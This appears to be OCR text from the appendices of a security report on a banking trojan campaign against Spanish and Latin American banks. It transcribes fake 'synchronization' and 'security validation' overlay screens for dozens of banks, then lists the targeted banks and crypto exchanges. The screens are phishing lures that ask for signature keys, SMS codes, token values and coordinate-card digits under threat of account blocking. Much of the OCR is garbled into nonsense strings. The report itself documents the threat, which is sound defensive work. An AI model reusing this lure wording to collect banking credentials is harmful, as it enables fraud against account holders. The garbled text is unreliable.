Asrntn: Bl prooeac s rata ko de una sincronigecdin, evite el blogees de sy capnda 1 II‘I RN
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m m Validacidn de seguridad

Realizando validackbn de seguridad...

informamics que para su Mayor seguranda, estamos hadendo una walidacdn en

@ el sistermna de segueidad. Este proceso pusde demorar algunos minuios y podein
ser solicitados datos para comprobar la ttulsrided de b cuenta. Por favar, sea pacikente.

820

43 rsac

Copyvight © - 2019

SABADELL

Sincrondzacion

E’Sﬂ bﬂdE“ Clave de confirmacion

85 Online Empdesa
Introduzca clave de confirmacidn para sinCronizacidn

{z] Dl g L cliwe e Minna g cedie ndor & la aplicackon del Ranco Sabadell

E:I Introdurce aoqul debaps la ol (ue S rriestes oo 0 mdvil

Basrai Coninuar
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ESH bﬂ de" Validacidn de seguridad

.' Ingresaste una respussta Indormecta, por favar Intents
muevamenie,

Caniiniar

HEVESE LOS DATOS CAFTURADOS E INTENTE NUEVAMENTE v
EVITE EL BLOCUED DE SU CUENTA.

Sincronizacion
'E’Sﬂ bﬂd&“ E.atjn:-l: u;n:-J: :;::rdlc-ﬁa:j as

BS Dnline Empreds
introdurcs by clve correspondente & b podicidn de 1u tarjeta de BSOnline Empresa.

Erripe eta n? AAKE é

Validacion de seguridad

Realirzando valldackdn de sequridad. .

I il FTRRATIOS. LSS DAFE §4 FMOFO S8 BN Ea, E3laemod Racken o na valklacdn &n
o sistermny e reguikied, Este proceto poaads domorde Jlgursdd mimutos v podrin
sor solciacos datos pars comprobar s ttwlirided de b cusnta. Por Bnvor, sea packents

a0

: ]
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BANORTE

Sincrontzacion

“ EAN D RTE del Duspositive de Segundad

Eatarmns sinoroniracn Tu o porsl theo

Pair yincyonizss de Tormea ripeda § ssguirs B dispos e, pos favwor nfroduce tu foke

oo | 0
Al |1 proden e Iralh (o6 Oe i 1 rangracien m

Sincronizacion

n EAN D RTE ded Dispositivo de Sequndad

Extamon sing rondrsnda tu dilsposl v
TE R Lhar dhe Iosrmis phphda y segurs Bu s pd v, solicfa s Clarwe de ARs de Comnti v la

Clove e Al dhe Ciariin: > |

Contrmeiis y O Dindmico Tolen = | retrpe tus dis clave wn dejar espadio)

Ripra war [0 pemreun w0 frats ko e o i poendy &l oof m

Wi Sl i Seguntied  BARCATE

SUNCronEACIOn

n EAN n RTE del Dispositiva de Sequrndad

Estamas sing ronboando Tu dispositiva

— |

C ke e  © dafiga Dhmdbmdcn Tolern: » Brickape mu dhovy, chisess gin dear s4pmn

Atev i Bl proceio @ trats folo de und § indron Easidi m
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OPENBANK

Grups Sontonder

Openhﬂnkﬂ“ | Validacién de clave de firma

Extamos v nnonizando b dispositiva,
Fara sirronizar de forma rapeda y Segiard Tu dopis ped, INDiodsoe su dave de firma,

Elawe de N

Mtgncidn: Bl proceso se trata soko de una sisonoeizecidn
e e S P e TR

Grups Santonder

Openbankﬂm | Sincronizacion por mawil

Eskamos sincronlzanda tu disposith,

Posr Baved, inPoEiRo ol LO0E0 quB Arabamas de s madien s un meaniags de 18to 3 Fu Pl
o il

Ol SMS

Atencidr: B proceso se frata sdko de wna sincronizachon
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Openbﬂﬂkw Validacion de seguridad

Grupo Santonder

Ingresaste una respuesta incormecta, por favor Intente
nuEvamente,

o REVISE LOS DATOS CAPTURADCS E INTENTE NUEVAMENTE y
EVITE EL BLOQUED DE SU CUENTA.

OpEﬂbﬂﬂkGﬂ ‘ Validacién de seguridad

Grupe Sontander

Realizando validacldn de seguridad.,

il hkema de vegurided. Este proceso puede demarar akgumnod minubos ¥ podedn
ver solicitados dalos pars compeobar b tlularkdad de b coents. Por fawar, tea packente

|:- ¥

@ Informamos qus para su mayor seguranes, eslamos hacendo una validackin en

.j:i‘.-;l-
o §

[=_J

EASPERSCY
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PASTOR

Pa Stﬂr Validacidn de seguridad

e (o apsr Sansander

i ngresaste una respuesta incorrecta, por favor intente
MUEVaEntE.

REVISE LOS DATOS CAPTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOGUED DE 5U CUENTA.

EASPERMCTE

Pastor

-ﬁ- Larupss Sastander

Validacién de sequridad

Heallzando valldacidn de ﬂqurldad-..

&l inlema de seguredad. Evle prodess pusde demod @ akgunos minutod v podnkn
s olicitadod datos pacs compiabar b titulsrded de b cusnta, Pos favor, 180 paceenie,

t:'..
i om
P R

@ RO M Mos qus Bara fu MAyer egurinil, Hamos hadkendo una vaEdacdn én

walrrriarrs
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CAJAMAR

Sincronizacidn de tarjeta
personal de claves

B cajamar

Finme I sincronizacion con su tarjets perional de claves

InErodiumes las shguientas coondenadss de i larjeta perons de clwnkd acabada en

Birr Ll prevr CRTF TR T LiTLE TR PN LR RS

KAbPERiYS
N
B’ cajamar Validacién de seguridad
@ 'noresaste una respuests incomecta, por favor intente
Ry amente,
| Conia |
REVESE LOS DATOS CAPTURADOS E INTENTE WUEVAMENTE ¥
EVITE EL BLOOLFEC DE SU CUENTA
KAJPRCYS
aills =
| | :alﬂmﬂr Validacién de seguridad
Realizando validacién de seguridad...

InfSrmarms use para U Mayor seguants, sstemon hackendo wna validacdn en
#l vitema de seguridad, Este protess pueds demorss akgunos minutas y podran
dad eleihclod dabod paih comprobad L TRuleieted de s cusnth, Pas Tivar, §8a padiente,

Qo
g m
o

EASPIRRIY S
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BANKIA

Ban<ia | s

Eviamaos sincroniiands tu dispositiva,
Para sincranisar de forma rkpida y seguis fu dispodithen, introduce tu firma digial

Flirma Digital:

[I.||r|: e 1 AFala wip ds wna sngronis accem _

IS THNAA CHE S FURIIAD) - ANKA BASPERICY T

B a n( ] a ‘ Validacion de sequridad

@ 'ngresaste una respuesta Incofrecta, por favor intente
ey amente,

REVISE LOS DATOS CAPTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOQUED DE SU CUENTA

SASTEALL DF S} ELBMDUT - RAELL Kalprrieyy
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Barkia | s

Estamon sincronlzando tu dispositivo.

Para vincranoess de S ripkds v iegurs tu dRpSIE G, haceimad and shimulsohan &n fe feldons
magrl, INredhugics o Cosiiga edebida wia 3M5 ¥ pubie continaar

Codigo SM:
T g e s rrviacics & B Bebébono v Trala 16k de s sima eckon. _
ST ) G UMCIAD - BANKA, HASPERSKYS

Ban<ia | o

Exvtamas sing roniEanda tu disposktive.
Parm sinshomEar de fema rhpscs ¥ sagun fu dipha e, introcuce by firmas digitsl

Fiarma slectronics:

Bl iproa0ed w16l a wlils e o i sl civah e gl _

SEETT A O G CRNTRAL - AN Walptabyy

Ba n(la | Validacién de seguridad

Realizsnde validachon de seguirldsd...

informamos que para su mayor segueanza, #stamos hackndo una vabdackin en
ol vitema de seguridad. Este process pusde demonir algunas minutos y pedrin
w87 sokeladod datod para compecbar b ttubrdaed de b cuenta. Pos fivor, 16 paciente,

| 3 48]
i85

AT AL [ SECGAMDIAD - BAMKLA wajpeRiiyy
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POPULAR

PﬂPUIa‘r Sincronizacitn de seguridad &

b Grupo Sontonder

Estarmsas sind foniramtdc tu dispoditive,

PArE TinCTonEnr el horma rapada S s T O pOEinG, i Eroduce Su s ssctnonica

Fiia #lecironica

Atencion: Bl proceso e trata salo de una sincronizacion

KaiPERiEY

Popular

alle Grupa Sontonde

Validacién de seguridad

§ ngresaste una respuesta Incormecta, por faver intente
nusyamente,

REVISE LOS DATOS CAPTURADOS E INTENTE NMUEWAMENTE v
EVITE EL BLOGQUED DE SU CUENTA

HAPERLKY S
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PDPUIHI Sincronizacidn / Simulacion E

A Ghupe Sankonde

Estamaod sinc renizands tu dispoaltio

Por favor, introduzca o codigo que acabamos de envisd medianie un menssge de (6320 3 S0 Pbkmang
di il

Cidiga SME:

Atercidn: El prooeso e 1rats $050 de und $lmialscbon

et
WAl Y

Popular

Validacién de seguridad
Al Grunn Sonkondet

Reallzando valldaclkdn de seguridad...

ol shitema de segueidad. Este procite pusde demedas alguncs minutos y podrin

@ informamos qus para i MayoT iegurania, estamos hackendo una validacdn en
sev solicitados datos para comprobar b titelarkdad de b cusnta, Por favor, 580 pacenie,

Qo
ﬂ%:i‘
e

AlPERLRY S
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BBVA

Sisiemd e Seguredad - BEYA

y i
traduce su firma electidnica

Sincronizacion de seguridad ﬂ

Sincronizacion de sequridad ﬂ

Feria el e w
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Sincronizacidn de seguridad n

d

Introducir la clave recebida por vor para confirmar Is
SINCronEatan:

W tenc bbn: Bl proceso we trata sdlo de una sincronizacidn

histerma de fegundsed - [AYA

Sincronizacidn de seguridad g

4

Introducir la clave recebida por S80S para confirmar la
MO MO

Shideira de Seguirsdsd - BEVA
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B BVA No fue posible realizar s validacidn de seguridad]

Datod incorrectos, evile e hi:-qur-:i de i cuenla

ﬂ PUHR FAYOR, REVISE LOS DATUS CAPTURADOS EINTENTE NUEVAMENTE
EWITE EL BLOGUELD IDE 50U CUENTA

St de Seguibnlaed - BEVA

Verificacidn de Seguridad

B e i 11 B vermear To wlent wlsd inagreds & mirmeso e 1At

mikmero de larjela I hos | 6 cllgitos ok T Earfets

h R L) L iy R BN it o i m
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Verificacion de Seguridad

(&%

Siviemra de begqundsd - BEYA

Validacidn de Seguridad

Realizando valldackin de seguridad.

F Infoimaimod Quie pia $U My séguranzd, esiamos hacendo una validacidn en
i ] ! @l sistesma de seguridsd. Exte proceso pusde demodsar algunos minutos y podrin
T e solcadod datod para compeobaer b tiubarkdid de b cuenta. Poe favosd, sea paciente

“
=

Shilera de Seguiradsd - BEVA
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Actualizacikin del Dispositivo

de Sequridad

Evtarms 1 rondrando tu o spoes v,

Pais shing ronirar e o e 5 gl b ok positihvo, ingnede ol ¢ oGl geneteds por il

¥ O |

NE—
Er._ 7 3
e iy {611 ' paicipeoes e B clave saleracds

Ol o 0 (e
rusruirs wl Lingulive
B il Sy

ln- e o erviacto ura dimulss h, ol procedo we Trala s de urd o tuslly s idsn m

Seriteivia e Seegiiedlad - BEWA

Actualiracidn del Dispositivo

de Sequridad

Extama 3ind randzands tu dispositiva,
Fata shind rondrar de | o ripsels v aecps b dpoisihn, ingress &) comion o e el pol s deposithen de seguridad

Dol kR

s il aCion ol Reglsing

ik roipn e
ernssit i el (gl e
T D e

lﬂl Heimiis eiiviads uifia il i, ¢ | peod @i w0 el wido de i i ladn m
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KUTXABANK

k kutxabank Validacidn de seguridad

Ingresasie una respueils Incorrecta, por faver Intente
nuevamente,

o REVISE LGS DATOS CAPTURADDS E INTENTE NUEVAMENTE y
EVITE EL BLOOUED DE 5U CUENTA,

Kaprainys

kutxabank Validacién de seguridad

Heallzando valldacidn de seguridad...

¥ INBOMAafmios. Gus Pard fu MEyel SeguranEl, #31Ed hadkn
. N
| I I| 2l sishema de segueklad. Evle prodeds piide demodad algunos

wing vabdaohn e
PUNAIEoE ¥ T

% '3
- 7 sohtados dafos para comprobar b titularkded de b cusnia, Pos fawgr, 580 pacenie

e

LNl

1

AT

73



Malware Campaign Targeting LATAM & Spanish Banks o

ING

ING 54 an——

Estamod sincronizandeo tu dispositivo,
Canfirmar b sinoonimscidne iIntroduce & cddigoos gue has recebido #n Tu méeil

2 7 & 4 1 |[iooe

Aencdn B procewo enviado a su lekdono mdsil, e trals woio de una simolackdn m

KAJPERYICYS

I NG m ‘ Validacidn de seguridad

i 'npresasie una respuesta incorrecta, por favor intente
nusvamenie,

REVISE LOS DATOS CAPTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOQUED DE 50U CUENTA,
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I NG E) ‘ Validacidn de tarjeta de coordenadas

Para poder ejecutian [a valiclacidn debe introducie la posicibn . de su Tarjeta Coondensdas,

Posickon -
g5 lloe o
a T | & |4 1 —
Confirema
ArEre i BN Dot iy TRATS S0 obe o vl i
KASMERICY S

I NG m ‘ Validacion de clave de sequridad

Estarnos sincronizando tu dispositive.

7 B 1 5 3
Paary Simerdnizas e horimu ddpeda v segura Tu
dispadaive, INredurcs (o clave de segurkiag n 4 'E ) 1
Atenciim: El proceso trata goko de una pimulscicn. m
T ——— KajpERbiy

ING & s i

Realizando validadisn de seguridad...

informamos que para SU Mayor seguranza, e3tamas hacendo una vabdacon en

#l sistema de sequeided. Fore proceds pueds demarar Mgunas minutod y padeln
Vi ppboitadios i of paia compiobad [ TRulirided o8 b cuenta. Por vos, séa padiente,

Sintema e Sepaicsd EAPERIEYT
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LIBERBANK

Sincronlracicdn oe arpeta

Liber  bank sl e it

Pasa Nnakrar b simcrondmcién niroduce b clave sollcitada Ak

| Bt

Sdinevru ce Lo bl - LAERAANK

[

l.hl'._. m Validacidn de seguridad

) Ingresaste una respuests Incodrecta, pors favor intente
NUBYameniE,

REVISE LOS DATOS CAPTURADODS E INTENTE NUEVAMENTE y
EVITE EL BLOGQUIED DE 50U CUENTA

Titerrd il lermricles] - L EIIAAAMNE

Liber  bank Validacidn de seguridad

Realizanda valkdacitn de wguridad. ..

memmpuliumrm BAQUITANEE, #ELEMOd MaCindo und valoacin #n
ol sitena de jegurisled, Esle process pueds damarss slguncrd minufes y postiria
ser jokcitsdos dalos para comprobus b tRulsidad de b cuenta Por favce, des paciente.

D O
il
-

KARPERAKYS

ZSsntarra S Teraporalasl - HEPLANE
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N26

N 2 6 ‘ Validacidn de sequridad

i Ingresaste una respuesta Incomecta, por favor intente
nusvamente,

REVISE LOS DATOS CAPTURADDS E INTENTE NUEVAMENTE y
EVITE EL BLOCUED DE 51 CUENTA,

N 2 6 ‘ Validacién de seguridad

Aealizando validacion de seguridad...

Informamaos qus para su Mayos seguranza, #stamos hackndo una validackdn en
il thiema de segueided. Este proceso puede demorar algunos minutos y podrdn
ser solicitados datos para comprobar b Sitularkded de b cuenta. Pos frwor, 183 packenle.

Elzn-
o

Sibeima e Segprthiac] - PG HajrERiay
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CITIBANAMEX

citibanamex BancaNet Datos Incorrectos

. IRQEeEa SN UM M pURE1a INCOrTRCTa, por favor imbenialka
nusvamerbs

REVESE LOS DATOS CAPTURADDS E INTENTE NUEYAMENTE y
EVITE EL BLOCHUEC D 50U CLIEMTA

Hurve Uhdema de egurwlal - DEthanames

Sincronizacidn del
MetKey Movil

citibanamex BancaNet

Par B seguiridad, eitimed ddncroniiando o Metiey Mdnil,

Dt C Ribanames Mdwi ebge by opokdn de Nel ey Mdwil mgresa lon numenos gue
Al SR & ConlvUaCHn, pred ionag "Derear Clave dinkmeca " § &l sEE s Te dirvolienl
wifid fisdrd o i deld CREHRIEE @0 8= § Ll e eciLisdng

Clave dindmica:

Rspaadly:

LEE) 1 riveis F 1At LLRTUE T farsin, Fnie o b g oe s naenila m

Mharwea Lahira de Tepuridled | CRBarasex

citibanamex BancaNet Yalidacidn de seguridad

Realirando validackin de seguridad...

formamod que por Su Segrrnadid. ey bamas haciendo b walidscin de segurcdld
Bt poroepto pusede demosar algunos minulos ¥ solcilaremds Sgunced datos para comprobar b
titubarickad de b OuSnLE, pod [iv0d Lid DaCE e,

Fli i Taniemna o feeiinaisr - [ Ry
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ci'fi ba na mex@ Valldacidn de seguridad

@ ingresaste una respuests iIncorrecta, por faver intentaic
LT Lyl

REVISE LOA DATOS CAPTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOCUED DE 50 CLUENTA,

Misrw Shiema de Sapurdied - Citthanames

citibanamex& it

P i segueicled, estamsos sinoieniiendo of Nt Key Mandl,

el b vl M Dy, Nl i PIML Gl il gaiie L Fressiore "INT". S Reffey ge netani una
palatwn "HOATT dgite +| nimesn "5 Al sparecer b L [irdumilec y e che b ddigitas
gl “CIHALL MG o ca e i Melkey b iuaks-ms LT R Tt T o
ol

Clavwe dlindimica

Rilaire3e L] Sl i BiaED i ci ol A bire iAaTGR . i Tie ol BhoGudd deb i (Uil

T g LT Il T PR

cmbanamex@ Validaclidn de sequridad

Realizando validacidn de sequridad...

Informan0s gue POl U seguiidad, evtamos hackends b validecion de seguriced,
Eife procsss pussdls demarar akjuniod mifulod v sclcitaremss plgunas datos para comprobad L
Eitularidad de b osenta, pos favor sea pacenie.

D i

ﬂl#
o

iy Wdema e eeguiriies! - Dtshanaeney
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SANTANDER

& Santander Validacidn de Seguridad

Realizando validacidn de seguridad

ok T rrdmicnk U perd 1y FMdpdl fegursnta, #1lamii hicipra i VRS @
II'\,_I J & shitema de segueidad Evté prodeio puide demorar akgencd mimutos v podrin
e sier yohor sdor datos para compaobar b tulseidsd & ls Coerta. Por favoe, 1ea pacente

Sincronlzacidn con

< Santander P

Fars coord rmae L dnersdorscidn, mfeoaiuars wi rieee de fama

I L 1l Parrmy

iy e - PRSI - T O R

«<» Santander T —

Easdigo de oo Tinemaaion - bvbocunss ) coago rece fdo vis SIS ke ©onlinmas

[ el
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Sincronizacion con

& SEIntﬂﬂdEf la clave de firma

BN citadgis e dirmraa @0 panbally se renieya disrismente La clese de oniptofims obwonss con sule
s bhdnd walcled hiila ki 24 B de it
L

g che s
Firma con criplocalouladon |

Blwrseian |1 jooe e e Brola wido de v e rondnsciin

«&» Santander Validacién de Seguridad

Ingresaste una respoesta incormecta, por favor inbente
nuevamente,

REVISE LOS DATOS CAPTURADOS E IMTENTE NUBVAMENTE v
EVITE EL BLOOUED DE 5U CUENTA,

8l
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Sincronizacion del
Dispositivo de Seqguridad

e su contrasena dinamica.

& Santander

Estarmoe sincronifando tu dispositivo.

Fad5 sistrantan o 1orma riokls ¥ Soaauds

A woe B pona eosn e Trads sodo de una dess roaile s

id

& dingmkca gue aparsoes

A=
g
3

Procesar

Sincronzacion ded
Dispositivo de Sequridad

IBM - Trusteer
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ABANCA

/ABANCA | e

Reallzando valldackin de segurbdad...

Infodrmddtios Qe 13 YU mayar seguranga, esiamas hacsendo une validsccn en
&l shtarnd ﬂtlﬂurﬂiﬂ.ﬁl&ﬂlm puisde desmiarar -lhhll‘-lﬁ iR b Y P ki
S Lol ados AMos pars comprobar [ Ralsridad de b opants, Por Tavar, ses packenle,

f!ABANCA ‘ Sincronizacion / Simulacion

Estamed sinc ronizando tu dispositivo.

introduce el codigo de sincronizacidn gue se ha envisdo & Tu mévil

m

Atencion: El protese enviado a su teléfons mavil & trats sdko de una simulacion

Clsiwma de Seguridad - ARARCA AR
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)?ABANCA ‘ Sincronizacién de sequridad

Estamaos sincronizanda tu diypositivo,
Fara sincrondrar de forma rapida y seguina fu daposfivg, Intnoduce tu Brma digital

Firma Digitad:

Atencer: B procesa se rata sdbo di una sinoronlzschdn

Skl de Segur kel - ARANCA T ]

/fABANCA ‘ Validacién de sequridad &)

@ Ingresaste una respuesta incomecta, por faver mtintalo
RS ABALE.

REVISE LOS DATOS CAPTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOCHIED DE SU CUENTA.

Shlesna de Seguidad - AEANCA H;Mﬂ
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CAIXA BANK

i CaiKaBank Validacion de seguridad
L

| Realizando validacidn de seguridad...

Inbor FRARTAOS U DAFD S MAYOr SEgUTINTA, ettamos hackends una validackn en
ol siitemna de seguridad, Este prooeso pueds demanar algunos minutas ¥ poedrin
s solicitados dalos para comprobar L tulaadad de b ceenta. Por faver, bea packenie

O

Piom
i(!

KASPERCYS

% CaixaBank ‘ Validacion de Sequridad
" |

Yalldackin de Segutided

Comfamas la vallacdn de segurdad. Buigos & s o ¥ publie la Clave cormed pondients
& 8 IaCleia §agimsria

BEM—

Sntema de Segueidad - CabeaBank

B o

v
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'.'K CaixaBank Sincronizacion por SMS
[ ]

Estamo simcronlcands tu dispositivo.
Confummar b Srmcranmacicn ! IN{rocuzcs b CLawe oot s posdisnts gue L emol savasco

e e & B el
E

Avpnciin: Bl peostesn envisdo o v elbiong mdvil, @ tala soky de unae jimielagidn

Conflfmad Linchonlesc kah *nf

Shirma de Seguisied - Camalank EASPERGICY ]

‘-K CaixaBank Validacidn de seguridad
°

O h'liuh:hzum-pum Inconects, por favor Intente
nuevamenie.

REVISE LOS DATOS CAPTURADDS E INTENTE NUPYAMENTE v

EVITE EL BLOCWED DE SU CUENTA
Shsema e Segutelad - CabisBank W.
CaixaBank Sincronizacion CalxaPIN

Canfitme L 1ing rondEnditn ¢ on o CaicaPIN:

1 Feckessm ol o™ el opdigo de & clras uspiie nie
¥ G ba clhirer comy ol CalaaP™

N o T 8 oo i Ll Taoiaes por el L seain eI A 10 LT B

Apra bt B poroed s e M1aCE bl e Lol o Pt e

Shiema de Seqparsied  CabaBhnk Halrpalsyy
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RURALVIA

¥ ruralvia Validackin de seguidid

Realirando validackdn de wequridad...

Infonmsmos que prd LU Mayor Segursnza, eitamot haoenda una validacidn en
el sEtema de seguridad. Este proceso puede demorar algunas minutos y podrin
i solciados datod para comprodan Iy TRulsidad 3e s cuénla. Por Tivod, (es pacienie

—

o
o

ol or

BASPEREKY T

* rura |"u"iEI Validacién de seguridad

(1] Ingresaste una respuesta Incorrecta, por favor Intents
MUEVArmEnbe.

CONTINUAR

o REVISE LOS DATOS CAFTURADOS E INTENTE NUEVAMENTE y
EVITE EL BLOGUED DE SU CUENTA.

HASPERJY D
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BAJIONET

Eifamas sincronifands su Clave ASD [ Accesa Segura Bajla .
Irgrese ol Coigo genier o pon o did o, este (Odigo & wilido sdli para @ila dinoonizecidn,

R ASH:
ol digBay e sy WP schual mia & digiton de v e Dindemica

PpcaEnar Corregi

Avencidn: Bl proceso w4 trata oo de ana sincronlzackin
ST
HASPERGKYE

Dwtos incarrectas, evite el bloqueo de su cusnta.

POR FAVOR, REVISE LOS DATOS CAPTURADDS E INTENTE NUEVAMENTE,
EVITE EL BLOCUED DE 5L CLEENTA,
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BANCO AZTECA

(®

Banco Artecs Sincronizacidn del Dispositivo de Seguridad

Estamas sincronizando ta dispositio.
Pad & wmncrarizas cla bedimas ¢ dpkli ¥ Laguira T i posithg, g reas & COago Geéner aclis g vin B H BTG

el aguindad

EaLPORLY e

m Mo Tue posible realizar la valldacidn de seguridad]
Banco Arteca

Datos incorrectos, evite ol blegues de su cuenta.

POR FAVOR, REVISE LOS DATOS CAPFTURADDS E INTEMTE NUEVAMEMNTE
EVITE EL BLOCUED DE 5L CUENTA,

KalPCRGCYS
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BANREGIO

banreglﬂ Validacian de Token

Estamon sinc rondzando fu dispositivo.

Para ymcronizar de forma répada y segura fu disposithen, ingrese of oddigo generado por su divposdlivo
de seguaiclad.

Contrasena dindmica Tolken):
[ 2o | poces |

Evitr @l bigquit de fu cuenla.

ba nreg I u |NG T -Fn"ﬂ.ltl:-l_l redlEar s valdechkin o e uricao]

Datos incorrectos, evite el blogueo de su cuenia,

FOR FAVOR, REVISE LOS DATOS CAPFTURADOS E INTENTE NUEVAMENTE.
EVITE EL BLOCUED DE 5U CUENTA.
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SCOTIABANK

" L]
s Stﬂtlﬂ hﬂ I'Ik Sincronizacidn del Dispositivo de Seguridad

Estarmos sind fomniramta tu dispodiiive,

Fara sincronzas de forma répida y segura tu disposivg, ingrese o codigo generado por su dspositive

il sasuirkiaed
Cistfiigo: w-Llawe :
€0 o” l
(!
Ewite el blogueo de fu cusnla. "“Fi
§ scotiobonk Kajpgrixy

L] = .
s Stutl'ubunk Mo fue pasibde realizar la valkdacitn de seguridad!

Datos intormectod, evite ¢ blaguea de su cuenta,

POR FAVOR, REVISE LOS DATOS CAPTURADIS E INTENTE NUEVAMENTE
EVITE EL 8LOOUED DE SU CUENTA,

£ scotizbonk afprRiey
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AFIRME

ﬁ,__ A F | R ME validacisn de Token

Estamcn sincronizends tu dispositive,

Para sicronizsr de forma fkpada y vegura De dipoitve, ingrese o Oddigo generado por v disposithg
i TR e

Clawe Dindmica;

Evge ol Boqued de U auenTa,

& AFI RME ‘ iMo fue posible realizar la valldacién de seguridad|

Datos Incomectos, evite ¢l blogueo de su cuenta,

POR FAVOR, REVISE LOS DATOS CAPTURADIDS E INTENTE NUEVAMENTE.
EVITE EL BLOQUED DE 5U CUENTA

Hajprrleyy
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INBURSA

Grupa Financiero Dispositivo de Segquridad

‘F.-‘ INBURS A Sincronizacion del

Estamad incronliands tu dispadibive

Fara ClEar O BOrrmaE rARECE Y e urs tu deps D S0 & DONpO Qreneid A0 PO B0 JiRPOS It

L L AT
Miemerode Serke Token

i dadligja INBLIRp e

Atencdne El phoceso o Erata solo de una sincroniTacdn FICCES -SR]

== == = e = = = e = —————a—a ]
AP §

5‘ INBURS A Sincronizacién del
- o Brups Fnanciero Dispositivo de Seguridad

Estamad sincronirando tu dispositivo

1.} 3 iyl ROk Doe T oS pe kb

Codigo INBURpass

AlEnsan: bl prdiass i Trald 86 3= uind sineronorirwtm m

e e e
KASPERIE Y1
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-‘. Sincronizacidn del
' r IN&HEE&P Dispositive de Sequridad

ETtErmed. S romnd Enas T o e Th

ingress hos diltimos 9 digitos del paned de _ ¥ digitos

firma de alguna de Tus tarjetas de débito activa: - —_

e o= e

Atancaan: El procesn so Trata sodo s una Jincroniaacin Fiot s Bt
KAPTR]YE
‘..-‘ INEJE“H&E'# Mo fuee posible realizar la validackdn de segurkdad]

Datod Incoiiectos, o¥ile el blogueo dé $u Cuenli.

oA FANVDR, REVISE LOS DATOS CAPTURADCS E INTENTE NUEVAMENTE
EVITE EL BLOCWED DE 5U CUENTA

EANPERYNY T
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BANCOPPEL

E uncc’ppel | Sincronizacidn del Dispositivo de Seguridad

Estarnas sincroni zanda tu dispositivo

Fars fanonomEar OF Sorma rl pads v Segurs U SR o, ingdete o 0G0 pEnarado por §uU dEposEivo
da segurdan

_ -1
i

-.F'
& 7

KAlPERLEY T

Buncoppet__ . ito fue posible realizar la valldacidn de segurkdad!

Datos incorrectos, evite el bloqueo de su cuenta.

POR FAVOR, REVISE LOS DATOS CAPTURADDS E INTENTE NUEVAMENTE,
EVITE EL BLOCUED DF 35U CUENTA.

EALPERLCYY
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APPENDIX 3:
MISCELLANEOUS IMAGES
FOUND IN RESOURCES

The following images were found embedded in the
resources of some of the analyzed W32/Banker samples.
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APPENDIX 4:

TARGETED BANKS

BANKS

ltad, Bradesco, Sicredi, Sicoob, Banco do Brasil,
Banco da Amazonia, Montepio, Banco do Estado
de Sergipe, Banestes, Citibank, Banco de Brasilia,
Banco do Nordeste, Unicred, Creditran, Daycoval,
Banco Regional, Agibank, Nubank, Banco Modal
Mais, Banregio, Cajasur, Banco Coinc, Deutsche
Bank, EVO Banco, Ibercaja, Banco de Espafia,
Sabadell, Banco Pastor, Bankia, CaixaBank, Santander,
Santander México, Santander Chile, BBVA, BBVA
Bancomer, ABANCA, ActivoBank, Arquia Banca,
Banca Farmafactoring, Banca March, Banca Pueyo,
Banco Caixa Geral, Banco Mediolanum, Banco
Pichincha, Banco Popular, Bankinter, Bankoa Crédit
Agricole, Caixa Guissona, Caixa Ontinyent, Caja
de Ingenieros, Caixa d'Enginyers, Caja Espafia, Caja
Duero, Unicaja, Unicorp, Banca Cajamar, Kutxabank,
Banco Laboral Kutxa, ING, Liberbank, Banco N26,
Openbank, Pibank, Self Bank, Targo Bank, Banco
Wizink, Ruralvia, Banco Safra, Banco Estado,
Banco Estado Chile, Banco Internacional, Banco
Internacional Chile, Banco Security, Banco Security
Chile, Banco Edwards, Banco Bice, Mercado Pago
Chile, Banco Bci, Banco Falabela, Scotiabank, HSBC
México, Grupo Financiero Inbursa, Citibanamex,
Banco del Bajio, Bancoppel, Banco Azteca, Banco
Afirme, Banco Famsa.

CRYPTOCURRENCY

Mercado Bitcoin, Buda Bitcoin, ChileBit Bitcoin,
Spectro Coin Chile, Octopus Bitcoin, BitcoinToYou,
Stratum coinBR SmartWallet, Foxbit
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